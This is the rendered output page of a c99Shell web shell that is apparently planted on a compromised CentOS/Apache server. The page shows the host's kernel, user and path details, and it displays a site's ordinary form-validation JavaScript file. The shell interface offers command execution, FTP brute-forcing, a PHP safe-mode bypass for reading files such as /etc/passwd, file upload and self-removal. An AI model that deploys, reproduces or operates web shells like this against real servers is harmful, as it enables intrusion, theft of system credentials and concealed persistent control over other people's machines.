!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/calendar/   drwxr-xr-x
Free 52.64 GB of 127.8 GB (41.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ew.js (12.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// Form Validation JavaScript

function EW_onError(form_object, input_object, object_type, error_message) {
    alert(error_message);                                    
    if (object_type == "RADIO" || object_type == "CHECKBOX") {
        if (input_object[0])
            input_object[0].focus();
        else
            input_object.focus();
    }    else if (!(document.all && document.all["_"+input_object.name+"_editor"])) { 
        input_object.focus();  
    }  
    if (object_type == "TEXT" || object_type == "PASSWORD" || object_type == "TEXTAREA" || object_type == "FILE") {
        if (!(document.all && document.all["_"+input_object.name+"_editor"]))
            input_object.select();
    }
    return false;    
}

function EW_hasValue(obj, obj_type) {
    if (obj_type == "TEXT" || obj_type == "PASSWORD" || obj_type == "TEXTAREA" || obj_type == "FILE")    {
        if (obj.value.length == 0) 
            return false;
        else if (document.all && document.all["_"+obj.name+"_editor"] && (obj.value == '<P>&nbsp;</P>'))
            return false;  
        else 
            return true;
    }    else if (obj_type == "SELECT") {
        if (obj.type != "select-multiple" && obj.selectedIndex == 0)
            return false;
        else if (obj.type == "select-multiple" && obj.selectedIndex == -1)
            return false;
        else
            return true;
    }    else if (obj_type == "RADIO" || obj_type == "CHECKBOX")    {
        if (obj[0]) {
            for (i=0; i < obj.length; i++) {
                if (obj[i].checked)
                    return true;
            }
        } else {
            return (obj.checked);
        }
        return false;    
    }
}

// Date (mm/dd/yyyy)
function EW_checkusdate(object_value) {
    if (object_value.length == 0)
        return true;
    
    isplit = object_value.indexOf('/');
    
    if (isplit == -1 || isplit == object_value.length)
        return false;
    
    sMonth = object_value.substring(0, isplit);
    
    if (sMonth.length == 0)
        return false;
    
    isplit = object_value.indexOf('/', isplit + 1);
    
    if (isplit == -1 || (isplit + 1 ) == object_value.length)
        return false;
    
    sDay = object_value.substring((sMonth.length + 1), isplit);
    
    if (sDay.length == 0)
        return false;
    
    isep = object_value.indexOf(' ', isplit + 1); 
    if (isep == -1) {
        sYear = object_value.substring(isplit + 1);
    } else {
        sYear = object_value.substring(isplit + 1, isep);
        sTime = object_value.substring(isep + 1);
        if (!EW_checktime(sTime))
            return false; 
    }
    
    if (!EW_checkinteger(sMonth)) 
        return false;
    else if (!EW_checkrange(sMonth, 1, 12)) 
        return false;
    else if (!EW_checkinteger(sYear)) 
        return false;
    else if (!EW_checkrange(sYear, 0, 9999)) 
        return false;
    else if (!EW_checkinteger(sDay)) 
        return false;
    else if (!EW_checkday(sYear, sMonth, sDay))
        return false;
    else
        return true;
}

// Date (yyyy/mm/dd)
function EW_checkdate(object_value) {
    if (object_value.length == 0)
        return true;
    
    isplit = object_value.indexOf('/');
    
    if (isplit == -1 || isplit == object_value.length)
        return false;
    
    sYear = object_value.substring(0, isplit);
    
    isplit = object_value.indexOf('/', isplit + 1);
    
    if (isplit == -1 || (isplit + 1 ) == object_value.length)
        return false;
    
    sMonth = object_value.substring((sYear.length + 1), isplit);
    
    if (sMonth.length == 0)
        return false;
    
    isep = object_value.indexOf(' ', isplit + 1); 
    if (isep == -1) {
        sDay = object_value.substring(isplit + 1);
    } else {
        sDay = object_value.substring(isplit + 1, isep);
        sTime = object_value.substring(isep + 1);
        if (!EW_checktime(sTime))
            return false; 
    }
    
    if (sDay.length == 0)
        return false;
    
    if (!EW_checkinteger(sMonth)) 
        return false;
    else if (!EW_checkrange(sMonth, 1, 12)) 
        return false;
    else if (!EW_checkinteger(sYear)) 
        return false;
    else if (!EW_checkrange(sYear, 0, 9999)) 
        return false;
    else if (!EW_checkinteger(sDay)) 
        return false;
    else if (!EW_checkday(sYear, sMonth, sDay))
        return false;
    else
        return true;
}

// Date (dd/mm/yyyy)
function EW_checkeurodate(object_value) {
    if (object_value.length == 0)
      return true;
    
    isplit = object_value.indexOf('/');
    
    if (isplit == -1)    {
        isplit = object_value.indexOf('.');
    }
    
    if (isplit == -1 || isplit == object_value.length)
        return false;
    
    sDay = object_value.substring(0, isplit);
    
    monthSplit = isplit + 1;
    
    isplit = object_value.indexOf('/', monthSplit);
    
    if (isplit == -1)    {
        isplit = object_value.indexOf('.', monthSplit);
    }
    
    if (isplit == -1 ||  (isplit + 1 )  == object_value.length)
        return false;
    
    sMonth = object_value.substring((sDay.length + 1), isplit);
    
    isep = object_value.indexOf(' ', isplit + 1); 
    if (isep == -1) {
        sYear = object_value.substring(isplit + 1);
    } else {
        sYear = object_value.substring(isplit + 1, isep);
        sTime = object_value.substring(isep + 1);
        if (!EW_checktime(sTime))
            return false; 
    }
    
    if (!EW_checkinteger(sMonth)) 
        return false;
    else if (!EW_checkrange(sMonth, 1, 12)) 
        return false;
    else if (!EW_checkinteger(sYear)) 
        return false;
    else if (!EW_checkrange(sYear, 0, null)) 
        return false;
    else if (!EW_checkinteger(sDay)) 
        return false;
    else if (!EW_checkday(sYear, sMonth, sDay)) 
        return false;
    else
        return true;
}

function EW_checkday(checkYear, checkMonth, checkDay) {
    maxDay = 31;
    
    if (checkMonth == 4 || checkMonth == 6 ||    checkMonth == 9 || checkMonth == 11) {
        maxDay = 30;
    } else if (checkMonth == 2)    {
        if (checkYear % 4 > 0)
            maxDay =28;
        else if (checkYear % 100 == 0 && checkYear % 400 > 0)
            maxDay = 28;
        else
            maxDay = 29;
    }
    
    return EW_checkrange(checkDay, 1, maxDay); 
}

function EW_checkinteger(object_value) {
    if (object_value.length == 0)
        return true;
    
    var decimal_format = ".";
    var check_char;
    
    check_char = object_value.indexOf(decimal_format);
    if (check_char < 1)
        return EW_checknumber(object_value);
    else
        return false;
}

function EW_numberrange(object_value, min_value, max_value) {
    if (min_value != null) {
        if (object_value < min_value)
            return false;
    }
    
    if (max_value != null) {
        if (object_value > max_value)
            return false;
    }
    
    return true;
}

function EW_checknumber(object_value) {
    if (object_value.length == 0)
        return true;
    
    var start_format = " .+-0123456789";
    var number_format = " .0123456789";
    var check_char;
    var decimal = false;
    var trailing_blank = false;
    var digits = false;
    
    check_char = start_format.indexOf(object_value.charAt(0));
    if (check_char == 1)
        decimal = true;
    else if (check_char < 1)
        return false;
     
    for (var i = 1; i < object_value.length; i++)    {
        check_char = number_format.indexOf(object_value.charAt(i))
        if (check_char < 0) {
            return false;
        } else if (check_char == 1)    {
            if (decimal)
                return false;
            else
                decimal = true;
        } else if (check_char == 0) {
            if (decimal || digits)    
            trailing_blank = true;
        }    else if (trailing_blank) { 
            return false;
        } else {
            digits = true;
        }
    }    
    
    return true;
}

function EW_checkrange(object_value, min_value, max_value) {
    if (object_value.length == 0)
        return true;
    
    if (!EW_checknumber(object_value))
        return false;
    else
        return (EW_numberrange((eval(object_value)), min_value, max_value));    
    
    return true;
}

function EW_checktime(object_value) {
    if (object_value.length == 0)
        return true;
    
    isplit = object_value.indexOf(':');
    
    if (isplit == -1 || isplit == object_value.length)
        return false;
    
    sHour = object_value.substring(0, isplit);
    iminute = object_value.indexOf(':', isplit + 1);
    
    if (iminute == -1 || iminute == object_value.length)
        sMin = object_value.substring((sHour.length + 1));
    else
        sMin = object_value.substring((sHour.length + 1), iminute);
    
    if (!EW_checkinteger(sHour))
        return false;
    else if (!EW_checkrange(sHour, 0, 23)) 
        return false;
    
    if (!EW_checkinteger(sMin))
        return false;
    else if (!EW_checkrange(sMin, 0, 59))
        return false;
    
    if (iminute != -1) {
        sSec = object_value.substring(iminute + 1);        
        if (!EW_checkinteger(sSec))
            return false;
        else if (!EW_checkrange(sSec, 0, 59))
            return false;    
    }
    
    return true;
}

function EW_checkphone(object_value) {
    if (object_value.length == 0)
        return true;
    
    if (object_value.length != 12)
        return false;
    
    if (!EW_checknumber(object_value.substring(0,3)))
        return false;
    else if (!EW_numberrange((eval(object_value.substring(0,3))), 100, 1000))
        return false;
    
    if (object_value.charAt(3) != "-" && object_value.charAt(3) != " ")
        return false
    
    if (!EW_checknumber(object_value.substring(4,7)))
        return false;
    else if (!EW_numberrange((eval(object_value.substring(4,7))), 100, 1000))
        return false;
    
    if (object_value.charAt(7) != "-" && object_value.charAt(7) != " ")
        return false;
    
    if (object_value.charAt(8) == "-" || object_value.charAt(8) == "+")
        return false;
    else
        return (EW_checkinteger(object_value.substring(8,12)));
}


function EW_checkzip(object_value) {
    if (object_value.length == 0)
        return true;
    
    if (object_value.length != 5 && object_value.length != 10)
        return false;
    
    if (object_value.charAt(0) == "-" || object_value.charAt(0) == "+")
        return false;
    
    if (!EW_checkinteger(object_value.substring(0,5)))
        return false;
    
    if (object_value.length == 5)
        return true;
    
    if (object_value.charAt(5) != "-" && object_value.charAt(5) != " ")
        return false;
    
    if (object_value.charAt(6) == "-" || object_value.charAt(6) == "+")
        return false;
    
    return (EW_checkinteger(object_value.substring(6,10)));
}


function EW_checkcreditcard(object_value) {
    var white_space = " -";
    var creditcard_string = "";
    var check_char;
    
    if (object_value.length == 0)
        return true;
    
    for (var i = 0; i < object_value.length; i++) {
        check_char = white_space.indexOf(object_value.charAt(i));
        if (check_char < 0)
            creditcard_string += object_value.substring(i, (i + 1));
    }    
    
    if (creditcard_string.length == 0)
        return false;     
    
    if (creditcard_string.charAt(0) == "+")
        return false;
    
    if (!EW_checkinteger(creditcard_string))
        return false;
    
    var doubledigit = creditcard_string.length % 2 == 1 ? false : true;
    var checkdigit = 0;
    var tempdigit;
    
    for (var i = 0; i < creditcard_string.length; i++) {
        tempdigit = eval(creditcard_string.charAt(i));        
        if (doubledigit) {
            tempdigit *= 2;
            checkdigit += (tempdigit % 10);            
            if ((tempdigit / 10) >= 1.0)
                checkdigit++;            
            doubledigit = false;
        }    else {
            checkdigit += tempdigit;
            doubledigit = true;
        }
    }
        
    return (checkdigit % 10) == 0 ? true : false;
}


function EW_checkssc(object_value) {
    var white_space = " -+.";
    var ssc_string="";
    var check_char;
    
    if (object_value.length == 0)
        return true;
    
    if (object_value.length != 11)
        return false;
    
    if (object_value.charAt(3) != "-" && object_value.charAt(3) != " ")
        return false;
    
    if (object_value.charAt(6) != "-" && object_value.charAt(6) != " ")
        return false;
    
    for (var i = 0; i < object_value.length; i++) {
        check_char = white_space.indexOf(object_value.charAt(i));
        if (check_char < 0)
            ssc_string += object_value.substring(i, (i + 1));
    }    
    
    if (ssc_string.length != 9)
        return false;     
    
    if (!EW_checkinteger(ssc_string))
        return false;
    
    return true;
}
    

function EW_checkemail(object_value) {
    if (object_value.length == 0)
        return true;
    
    if (!(object_value.indexOf("@") > -1 && object_value.indexOf(".") > -1))
        return false;    
    
    return true;
}
    
// GUID {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}    
function EW_checkGUID(object_value)    {
    if (object_value.length == 0)
        return true;
    if (object_value.length != 38)
        return false;
    if (object_value.charAt(0)!="{")
        return false;
    if (object_value.charAt(37)!="}")
        return false;    
    
    var hex_format = "0123456789abcdefABCDEF";
    var check_char;    
    
    for (var i = 1; i < 37; i++) {        
        if ((i==9) || (i==14) || (i==19) || (i==24)) {
            if (object_value.charAt(i)!="-")
                return false;
        } else {
            check_char = hex_format.indexOf(object_value.charAt(i));
            if (check_char < 0)
                return false;
        }
    }
    return true;
}
    

// Update a combobox with filter value
// object_value_array format
// object_value_array[n] = option value
// object_value_array[n+1] = option text 1
// object_value_array[n+2] = option text 2
// object_value_array[n+3] = option filter value
function EW_updatecombo(obj, object_value_array, filter_value) {    
    for (var i = obj.length-1; i > 0; i--) {
        obj.options[i] = null;
    }    
    for (var j=0; j<object_value_array.length; j=j+4) {
        if (object_value_array[j+3].toUpperCase() == filter_value.toUpperCase()) {
            EW_newopt(obj, object_value_array[j], object_value_array[j+1], object_value_array[j+2]);            
        }    
    }
}

// Create combobox option 
function EW_newopt(obj, value, text1, text2) {
    var text = text1;
    if (text2 != "")
        text += ", " + text2;
    var optionName = new Option(text, value, false, false)
    var length = obj.length;
    obj.options[length] = optionName;
}

// Select combobox option
function EW_selectopt(obj, value) {
    for (var i = obj.length-1; i>=0; i--) {
        if (obj.options[i].value.toUpperCase() == value.toUpperCase()) {
            obj.selectedIndex = i;
            break;
        }
    }
}

// Get image width/height
function EW_getimagesize(file_object, width_object, height_object) {
    if (navigator.appVersion.indexOf("MSIE") != -1)    {
        myimage = new Image();
        myimage.onload = function () {
            width_object.value = myimage.width; height_object.value = myimage.height;
        }        
        myimage.src = file_object.value;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--